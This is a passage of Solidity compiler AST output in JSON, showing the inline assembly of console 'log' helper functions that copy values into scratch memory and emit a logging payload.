22"}],"functionName":{"name":"shr","nativeSrc":"60196:3:22","nodeType":"YulIdentifier","src":"60196:3:22"},"nativeSrc":"60196:13:22","nodeType":"YulFunctionCall","src":"60196:13:22"}],"functionName":{"name":"shl","nativeSrc":"60185:3:22","nodeType":"YulIdentifier","src":"60185:3:22"},"nativeSrc":"60185:25:22","nodeType":"YulFunctionCall","src":"60185:25:22"}],"functionName":{"name":"mstore","nativeSrc":"60162:6:22","nodeType":"YulIdentifier","src":"60162:6:22"},"nativeSrc":"60162:49:22","nodeType":"YulFunctionCall","src":"60162:49:22"},"nativeSrc":"60162:49:22","nodeType":"YulExpressionStatement","src":"60162:49:22"}]},"name":"writeString","nativeSrc":"59883:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"59904:3:22","nodeType":"YulTypedName","src":"59904:3:22","type":""},{"name":"w","nativeSrc":"59909:1:22","nodeType":"YulTypedName","src":"59909:1:22","type":""}],"src":"59883:342:22"},{"nativeSrc":"60238:17:22","nodeType":"YulAssignment","src":"60238:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"60250:4:22","nodeType":"YulLiteral","src":"60250:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"60244:5:22","nodeType":"YulIdentifier","src":"60244:5:22"},"nativeSrc":"60244:11:22","nodeType":"YulFunctionCall","src":"60244:11:22"},"variableNames":[{"name":"m0","nativeSrc":"60238:2:22","nodeType":"YulIdentifier","src":"60238:2:22"}]},{"nativeSrc":"60268:17:22","nodeType":"YulAssignment","src":"60268:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"60280:4:22","nodeType":"YulLiteral","src":"60280:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"60274:5:22","nodeType":"YulIdentifier","src":"60274:5:22"},"nativeSrc":"60274:11:22","nodeType":"YulFunctionCall","src":"60274:11:22"},"variableNames":[{"name":"m1","nativeSrc":"60268:2:22","nodeType":"YulIdentifier","src":"60268:2:22"}]},{"nativeSrc":"60298:17:22","nodeType":"YulAssignment","src":"60298:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"60310:4:22","nodeType":"YulLiteral","src":"60310:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"60304:5:22","nodeType":"YulIdentifier","src":"60304:5:22"},"nativeSrc":"60304:11:22","nodeType":"YulFunctionCall","src":"60304:11:22"},"variableNames":[{"name":"m2","nativeSrc":"60298:2:22","nodeType":"YulIdentifier","src":"60298:2:22"}]},{"nativeSrc":"60328:17:22","nodeType":"YulAssignment","src":"60328:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"60340:4:22","nodeType":"YulLiteral","src":"60340:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"60334:5:22","nodeType":"YulIdentifier","src":"60334:5:22"},"nativeSrc":"60334:11:22","nodeType":"YulFunctionCall","src":"60334:11:22"},"variableNames":[{"name":"m3","nativeSrc":"60328:2:22","nodeType":"YulIdentifier","src":"60328:2:22"}]},{"nativeSrc":"60358:17:22","nodeType":"YulAssignment","src":"60358:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"60370:4:22","nodeType":"YulLiteral","src":"60370:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"60364:5:22","nodeType":"YulIdentifier","src":"60364:5:22"},"nativeSrc":"60364:11:22","nodeType":"YulFunctionCall","src":"60364:11:22"},"variableNames":[{"name":"m4","nativeSrc":"60358:2:22","nodeType":"YulIdentifier","src":"60358:2:22"}]},{"nativeSrc":"60388:17:22","nodeType":"YulAssignment","src":"60388:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"60400:4:22","nodeType":"YulLiteral","src":"60400:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"60394:5:22","nodeType":"YulIdentifier","src":"60394:5:22"},"nativeSrc":"60394:11:22","nodeType":"YulFunctionCall","src":"60394:11:22"},"variableNames":[{"name":"m5","nativeSrc":"60388:2:22","nodeType":"YulIdentifier","src":"60388:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60483:4:22","nodeType":"YulLiteral","src":"60483:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"60489:10:22","nodeType":"YulLiteral","src":"60489:10:22","type":"","value":"0x37aa7d4c"}],"functionName":{"name":"mstore","nativeSrc":"60476:6:22","nodeType":"YulIdentifier","src":"60476:6:22"},"nativeSrc":"60476:24:22","nodeType":"YulFunctionCall","src":"60476:24:22"},"nativeSrc":"60476:24:22","nodeType":"YulExpressionStatement","src":"60476:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60520:4:22","nodeType":"YulLiteral","src":"60520:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"60526:2:22","nodeType":"YulIdentifier","src":"60526:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60513:6:22","nodeType":"YulIdentifier","src":"60513:6:22"},"nativeSrc":"60513:16:22","nodeType":"YulFunctionCall","src":"60513:16:22"},"nativeSrc":"60513:16:22","nodeType":"YulExpressionStatement","src":"60513:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60549:4:22","nodeType":"YulLiteral","src":"60549:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"60555:4:22","nodeType":"YulLiteral","src":"60555:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"60542:6:22","nodeType":"YulIdentifier","src":"60542:6:22"},"nativeSrc":"60542:18:22","nodeType":"YulFunctionCall","src":"60542:18:22"},"nativeSrc":"60542:18:22","nodeType":"YulExpressionStatement","src":"60542:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60580:4:22","nodeType":"YulLiteral","src":"60580:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"60586:2:22","nodeType":"YulIdentifier","src":"60586:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60573:6:22","nodeType":"YulIdentifier","src":"60573:6:22"},"nativeSrc":"60573:16:22","nodeType":"YulFunctionCall","src":"60573:16:22"},"nativeSrc":"60573:16:22","nodeType":"YulExpressionStatement","src":"60573:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60614:4:22","nodeType":"YulLiteral","src":"60614:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"60620:2:22","nodeType":"YulIdentifier","src":"60620:2:22"}],"functionName":{"name":"writeString","nativeSrc":"60602:11:22","nodeType":"YulIdentifier","src":"60602:11:22"},"nativeSrc":"60602:21:22","nodeType":"YulFunctionCall","src":"60602:21:22"},"nativeSrc":"60602:21:22","nodeType":"YulExpressionStatement","src":"60602:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35672,"isOffset":false,"isSlot":false,"src":"60238:2:22","valueSize":1},{"declaration":35675,"isOffset":false,"isSlot":false,"src":"60268:2:22","valueSize":1},{"declaration":35678,"isOffset":false,"isSlot":false,"src":"60298:2:22","valueSize":1},{"declaration":35681,"isOffset":false,"isSlot":false,"src":"60328:2:22","valueSize":1},{"declaration":35684,"isOffset":false,"isSlot":false,"src":"60358:2:22","valueSize":1},{"declaration":35687,"isOffset":false,"isSlot":false,"src":"60388:2:22","valueSize":1},{"declaration":35664,"isOffset":false,"isSlot":false,"src":"60526:2:22","valueSize":1},{"declaration":35666,"isOffset":false,"isSlot":false,"src":"60620:2:22","valueSize":1},{"declaration":35668,"isOffset":false,"isSlot":false,"src":"60586:2:22","valueSize":1}],"id":35689,"nodeType":"InlineAssembly","src":"59860:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"60658:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35692,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"60664:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35690,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"60642:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35693,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60642:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35694,"nodeType":"ExpressionStatement","src":"60642:27:22"},{"AST":{"nativeSrc":"60688:185:22","nodeType":"YulBlock","src":"60688:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"60709:4:22","nodeType":"YulLiteral","src":"60709:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"60715:2:22","nodeType":"YulIdentifier","src":"60715:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60702:6:22","nodeType":"YulIdentifier","src":"60702:6:22"},"nativeSrc":"60702:16:22","nodeType":"YulFunctionCall","src":"60702:16:22"},"nativeSrc":"60702:16:22","nodeType":"YulExpressionStatement","src":"60702:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60738:4:22","nodeType":"YulLiteral","src":"60738:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"60744:2:22","nodeType":"YulIdentifier","src":"60744:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60731:6:22","nodeType":"YulIdentifier","src":"60731:6:22"},"nativeSrc":"60731:16:22","nodeType":"YulFunctionCall","src":"60731:16:22"},"nativeSrc":"60731:16:22","nodeType":"YulExpressionStatement","src":"60731:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60767:4:22","nodeType":"YulLiteral","src":"60767:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"60773:2:22","nodeType":"YulIdentifier","src":"60773:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60760:6:22","nodeType":"YulIdentifier","src":"60760:6:22"},"nativeSrc":"60760:16:22","nodeType":"YulFunctionCall","src":"60760:16:22"},"nativeSrc":"60760:16:22","nodeType":"YulExpressionStatement","src":"60760:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60796:4:22","nodeType":"YulLiteral","src":"60796:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"60802:2:22","nodeType":"YulIdentifier","src":"60802:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60789:6:22","nodeType":"YulIdentifier","src":"60789:6:22"},"nativeSrc":"60789:16:22","nodeType":"YulFunctionCall","src":"60789:16:22"},"nativeSrc":"60789:16:22","nodeType":"YulExpressionStatement","src":"60789:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60825:4:22","nodeType":"YulLiteral","src":"60825:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"60831:2:22","nodeType":"YulIdentifier","src":"60831:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60818:6:22","nodeType":"YulIdentifier","src":"60818:6:22"},"nativeSrc":"60818:16:22","nodeType":"YulFunctionCall","src":"60818:16:22"},"nativeSrc":"60818:16:22","nodeType":"YulExpressionStatement","src":"60818:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"60854:4:22","nodeType":"YulLiteral","src":"60854:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"60860:2:22","nodeType":"YulIdentifier","src":"60860:2:22"}],"functionName":{"name":"mstore","nativeSrc":"60847:6:22","nodeType":"YulIdentifier","src":"60847:6:22"},"nativeSrc":"60847:16:22","nodeType":"YulFunctionCall","src":"60847:16:22"},"nativeSrc":"60847:16:22","nodeType":"YulExpressionStatement","src":"60847:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35672,"isOffset":false,"isSlot":false,"src":"60715:2:22","valueSize":1},{"declaration":35675,"isOffset":false,"isSlot":false,"src":"60744:2:22","valueSize":1},{"declaration":35678,"isOffset":false,"isSlot":false,"src":"60773:2:22","valueSize":1},{"declaration":35681,"isOffset":false,"isSlot":false,"src":"60802:2:22","valueSize":1},{"declaration":35684,"isOffset":false,"isSlot":false,"src":"60831:2:22","valueSize":1},{"declaration":35687,"isOffset":false,"isSlot":false,"src":"60860:2:22","valueSize":1}],"id":35695,"nodeType":"InlineAssembly","src":"60679:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59676:3:22","parameters":{"id":35669,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35664,"mutability":"mutable","name":"p0","nameLocation":"59688:2:22","nodeType":"VariableDeclaration","scope":35697,"src":"59680:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35663,"name":"uint256","nodeType":"ElementaryTypeName","src":"59680:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35666,"mutability":"mutable","name":"p1","nameLocation":"59700:2:22","nodeType":"VariableDeclaration","scope":35697,"src":"59692:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35665,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59692:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35668,"mutability":"mutable","name":"p2","nameLocation":"59712:2:22","nodeType":"VariableDeclaration","scope":35697,"src":"59704:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35667,"name":"uint256","nodeType":"ElementaryTypeName","src":"59704:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"59679:36:22"},"returnParameters":{"id":35670,"nodeType":"ParameterList","parameters":[],"src":"59730:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35738,"nodeType":"FunctionDefinition","src":"60885:1405:22","nodes":[],"body":{"id":35737,"nodeType":"Block","src":"60948:1342:22","nodes":[],"statements":[{"assignments":[35707],"declarations":[{"constant":false,"id":35707,"mutability":"mutable","name":"m0","nameLocation":"60966:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"60958:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35706,"name":"bytes32","nodeType":"ElementaryTypeName","src":"60958:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35708,"nodeType":"VariableDeclarationStatement","src":"60958:10:22"},{"assignments":[35710],"declarations":[{"constant":false,"id":35710,"mutability":"mutable","name":"m1","nameLocation":"60986:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"60978:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"60978:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35711,"nodeType":"VariableDeclarationStatement","src":"60978:10:22"},{"assignments":[35713],"declarations":[{"constant":false,"id":35713,"mutability":"mutable","name":"m2","nameLocation":"61006:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"60998:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35712,"name":"bytes32","nodeType":"ElementaryTypeName","src":"60998:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35714,"nodeType":"VariableDeclarationStatement","src":"60998:10:22"},{"assignments":[35716],"declarations":[{"constant":false,"id":35716,"mutability":"mutable","name":"m3","nameLocation":"61026:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"61018:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35715,"name":"bytes32","nodeType":"ElementaryTypeName","src":"61018:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35717,"nodeType":"VariableDeclarationStatement","src":"61018:10:22"},{"assignments":[35719],"declarations":[{"constant":false,"id":35719,"mutability":"mutable","name":"m4","nameLocation":"61046:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"61038:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35718,"name":"bytes32","nodeType":"ElementaryTypeName","src":"61038:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35720,"nodeType":"VariableDeclarationStatement","src":"61038:10:22"},{"assignments":[35722],"declarations":[{"constant":false,"id":35722,"mutability":"mutable","name":"m5","nameLocation":"61066:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"61058:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35721,"name":"bytes32","nodeType":"ElementaryTypeName","src":"61058:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35723,"nodeType":"VariableDeclarationStatement","src":"61058:10:22"},{"assignments":[35725],"declarations":[{"constant":false,"id":35725,"mutability":"mutable","name":"m6","nameLocation":"61086:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"61078:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35724,"name":"bytes32","nodeType":"ElementaryTypeName","src":"61078:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35726,"nodeType":"VariableDeclarationStatement","src":"61078:10:22"},{"assignments":[35728],"declarations":[{"constant":false,"id":35728,"mutability":"mutable","name":"m7","nameLocation":"61106:2:22","nodeType":"VariableDeclaration","scope":35737,"src":"61098:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35727,"name":"bytes32","nodeType":"ElementaryTypeName","src":"61098:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35729,"nodeType":"VariableDeclarationStatement","src":"61098:10:22"},{"AST":{"nativeSrc":"61127:859:22","nodeType":"YulBlock","src":"61127:859:22","statements":[{"body":{"nativeSrc":"61170:313:22","nodeType":"YulBlock","src":"61170:313:22","statements":[{"nativeSrc":"61188:15:22","nodeType":"YulVariableDeclaration","src":"61188:15:22","value":{"kind":"number","nativeSrc":"61202:1:22","nodeType":"YulLiteral","src":"61202:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"61192:6:22","nodeType":"YulTypedName","src":"61192:6:22","type":""}]},{"body":{"nativeSrc":"61273:40:22","nodeType":"YulBlock","src":"61273:40:22","statements":[{"body":{"nativeSrc":"61302:9:22","nodeType":"YulBlock","src":"61302:9:22","statements":[{"nativeSrc":"61304:5:22","nodeType":"YulBreak","src":"61304:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"61290:6:22","nodeType":"YulIdentifier","src":"61290:6:22"},{"name":"w","nativeSrc":"61298:1:22","nodeType":"YulIdentifier","src":"61298:1:22"}],"functionName":{"name":"byte","nativeSrc":"61285:4:22","nodeType":"YulIdentifier","src":"61285:4:22"},"nativeSrc":"61285:15:22","nodeType":"YulFunctionCall","src":"61285:15:22"}],"functionName":{"name":"iszero","nativeSrc":"61278:6:22","nodeType":"YulIdentifier","src":"61278:6:22"},"nativeSrc":"61278:23:22","nodeType":"YulFunctionCall","src":"61278:23:22"},"nativeSrc":"61275:36:22","nodeType":"YulIf","src":"61275:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"61230:6:22","nodeType":"YulIdentifier","src":"61230:6:22"},{"kind":"number","nativeSrc":"61238:4:22","nodeType":"YulLiteral","src":"61238:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"61227:2:22","nodeType":"YulIdentifier","src":"61227:2:22"},"nativeSrc":"61227:16:22","nodeType":"YulFunctionCall","src":"61227:16:22"},"nativeSrc":"61220:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"61244:28:22","nodeType":"YulBlock","src":"61244:28:22","statements":[{"nativeSrc":"61246:24:22","nodeType":"YulAssignment","src":"61246:24:22","value":{"arguments":[{"name":"length","nativeSrc":"61260:6:22","nodeType":"YulIdentifier","src":"61260:6:22"},{"kind":"number","nativeSrc":"61268:1:22","nodeType":"YulLiteral","src":"61268:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"61256:3:22","nodeType":"YulIdentifier","src":"61256:3:22"},"nativeSrc":"61256:14:22","nodeType":"YulFunctionCall","src":"61256:14:22"},"variableNames":[{"name":"length","nativeSrc":"61246:6:22","nodeType":"YulIdentifier","src":"61246:6:22"}]}]},"pre":{"nativeSrc":"61224:2:22","nodeType":"YulBlock","src":"61224:2:22","statements":[]},"src":"61220:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"61337:3:22","nodeType":"YulIdentifier","src":"61337:3:22"},{"name":"length","nativeSrc":"61342:6:22","nodeType":"YulIdentifier","src":"61342:6:22"}],"functionName":{"name":"mstore","nativeSrc":"61330:6:22","nodeType":"YulIdentifier","src":"61330:6:22"},"nativeSrc":"61330:19:22","nodeType":"YulFunctionCall","src":"61330:19:22"},"nativeSrc":"61330:19:22","nodeType":"YulExpressionStatement","src":"61330:19:22"},{"nativeSrc":"61366:37:22","nodeType":"YulVariableDeclaration","src":"61366:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"61383:3:22","nodeType":"YulLiteral","src":"61383:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"61392:1:22","nodeType":"YulLiteral","src":"61392:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"61395:6:22","nodeType":"YulIdentifier","src":"61395:6:22"}],"functionName":{"name":"shl","nativeSrc":"61388:3:22","nodeType":"YulIdentifier","src":"61388:3:22"},"nativeSrc":"61388:14:22","nodeType":"YulFunctionCall","src":"61388:14:22"}],"functionName":{"name":"sub","nativeSrc":"61379:3:22","nodeType":"YulIdentifier","src":"61379:3:22"},"nativeSrc":"61379:24:22","nodeType":"YulFunctionCall","src":"61379:24:22"},"variables":[{"name":"shift","nativeSrc":"61370:5:22","nodeType":"YulTypedName","src":"61370:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"61431:3:22","nodeType":"YulIdentifier","src":"61431:3:22"},{"kind":"number","nativeSrc":"61436:4:22","nodeType":"YulLiteral","src":"61436:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"61427:3:22","nodeType":"YulIdentifier","src":"61427:3:22"},"nativeSrc":"61427:14:22","nodeType":"YulFunctionCall","src":"61427:14:22"},{"arguments":[{"name":"shift","nativeSrc":"61447:5:22","nodeType":"YulIdentifier","src":"61447:5:22"},{"arguments":[{"name":"shift","nativeSrc":"61458:5:22","nodeType":"YulIdentifier","src":"61458:5:22"},{"name":"w","nativeSrc":"61465:1:22","nodeType":"YulIdentifier","src":"61465:1:22"}],"functionName":{"name":"shr","nativeSrc":"61454:3:22","nodeType":"YulIdentifier","src":"61454:3:22"},"nativeSrc":"61454:13:22","nodeType":"YulFunctionCall","src":"61454:13:22"}],"functionName":{"name":"shl","nativeSrc":"61443:3:22","nodeType":"YulIdentifier","src":"61443:3:22"},"nativeSrc":"61443:25:22","nodeType":"YulFunctionCall","src":"61443:25:22"}],"functionName":{"name":"mstore","nativeSrc":"61420:6:22","nodeType":"YulIdentifier","src":"61420:6:22"},"nativeSrc":"61420:49:22","nodeType":"YulFunctionCall","src":"61420:49:22"},"nativeSrc":"61420:49:22","nodeType":"YulExpressionStatement","src":"61420:49:22"}]},"name":"writeString","nativeSrc":"61141:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"61162:3:22","nodeType":"YulTypedName","src":"61162:3:22","type":""},{"name":"w","nativeSrc":"61167:1:22","nodeType":"YulTypedName","src":"61167:1:22","type":""}],"src":"61141:342:22"},{"nativeSrc":"61496:17:22","nodeType":"YulAssignment","src":"61496:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61508:4:22","nodeType":"YulLiteral","src":"61508:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"61502:5:22","nodeType":"YulIdentifier","src":"61502:5:22"},"nativeSrc":"61502:11:22","nodeType":"YulFunctionCall","src":"61502:11:22"},"variableNames":[{"name":"m0","nativeSrc":"61496:2:22","nodeType":"YulIdentifier","src":"61496:2:22"}]},{"nativeSrc":"61526:17:22","nodeType":"YulAssignment","src":"61526:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61538:4:22","nodeType":"YulLiteral","src":"61538:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"61532:5:22","nodeType":"YulIdentifier","src":"61532:5:22"},"nativeSrc":"61532:11:22","nodeType":"YulFunctionCall","src":"61532:11:22"},"variableNames":[{"name":"m1","nativeSrc":"61526:2:22","nodeType":"YulIdentifier","src":"61526:2:22"}]},{"nativeSrc":"61556:17:22","nodeType":"YulAssignment","src":"61556:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61568:4:22","nodeType":"YulLiteral","src":"61568:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"61562:5:22","nodeType":"YulIdentifier","src":"61562:5:22"},"nativeSrc":"61562:11:22","nodeType":"YulFunctionCall","src":"61562:11:22"},"variableNames":[{"name":"m2","nativeSrc":"61556:2:22","nodeType":"YulIdentifier","src":"61556:2:22"}]},{"nativeSrc":"61586:17:22","nodeType":"YulAssignment","src":"61586:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61598:4:22","nodeType":"YulLiteral","src":"61598:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"61592:5:22","nodeType":"YulIdentifier","src":"61592:5:22"},"nativeSrc":"61592:11:22","nodeType":"YulFunctionCall","src":"61592:11:22"},"variableNames":[{"name":"m3","nativeSrc":"61586:2:22","nodeType":"YulIdentifier","src":"61586:2:22"}]},{"nativeSrc":"61616:17:22","nodeType":"YulAssignment","src":"61616:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61628:4:22","nodeType":"YulLiteral","src":"61628:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"61622:5:22","nodeType":"YulIdentifier","src":"61622:5:22"},"nativeSrc":"61622:11:22","nodeType":"YulFunctionCall","src":"61622:11:22"},"variableNames":[{"name":"m4","nativeSrc":"61616:2:22","nodeType":"YulIdentifier","src":"61616:2:22"}]},{"nativeSrc":"61646:17:22","nodeType":"YulAssignment","src":"61646:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61658:4:22","nodeType":"YulLiteral","src":"61658:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"61652:5:22","nodeType":"YulIdentifier","src":"61652:5:22"},"nativeSrc":"61652:11:22","nodeType":"YulFunctionCall","src":"61652:11:22"},"variableNames":[{"name":"m5","nativeSrc":"61646:2:22","nodeType":"YulIdentifier","src":"61646:2:22"}]},{"nativeSrc":"61676:17:22","nodeType":"YulAssignment","src":"61676:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61688:4:22","nodeType":"YulLiteral","src":"61688:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"61682:5:22","nodeType":"YulIdentifier","src":"61682:5:22"},"nativeSrc":"61682:11:22","nodeType":"YulFunctionCall","src":"61682:11:22"},"variableNames":[{"name":"m6","nativeSrc":"61676:2:22","nodeType":"YulIdentifier","src":"61676:2:22"}]},{"nativeSrc":"61706:17:22","nodeType":"YulAssignment","src":"61706:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"61718:4:22","nodeType":"YulLiteral","src":"61718:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"61712:5:22","nodeType":"YulIdentifier","src":"61712:5:22"},"nativeSrc":"61712:11:22","nodeType":"YulFunctionCall","src":"61712:11:22"},"variableNames":[{"name":"m7","nativeSrc":"61706:2:22","nodeType":"YulIdentifier","src":"61706:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"61800:4:22","nodeType":"YulLiteral","src":"61800:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"61806:10:22","nodeType":"YulLiteral","src":"61806:10:22","type":"","value":"0xb115611f"}],"functionName":{"name":"mstore","nativeSrc":"61793:6:22","nodeType":"YulIdentifier","src":"61793:6:22"},"nativeSrc":"61793:24:22","nodeType":"YulFunctionCall","src":"61793:24:22"},"nativeSrc":"61793:24:22","nodeType":"YulExpressionStatement","src":"61793:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"61837:4:22","nodeType":"YulLiteral","src":"61837:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"61843:2:22","nodeType":"YulIdentifier","src":"61843:2:22"}],"functionName":{"name":"mstore","nativeSrc":"61830:6:22","nodeType":"YulIdentifie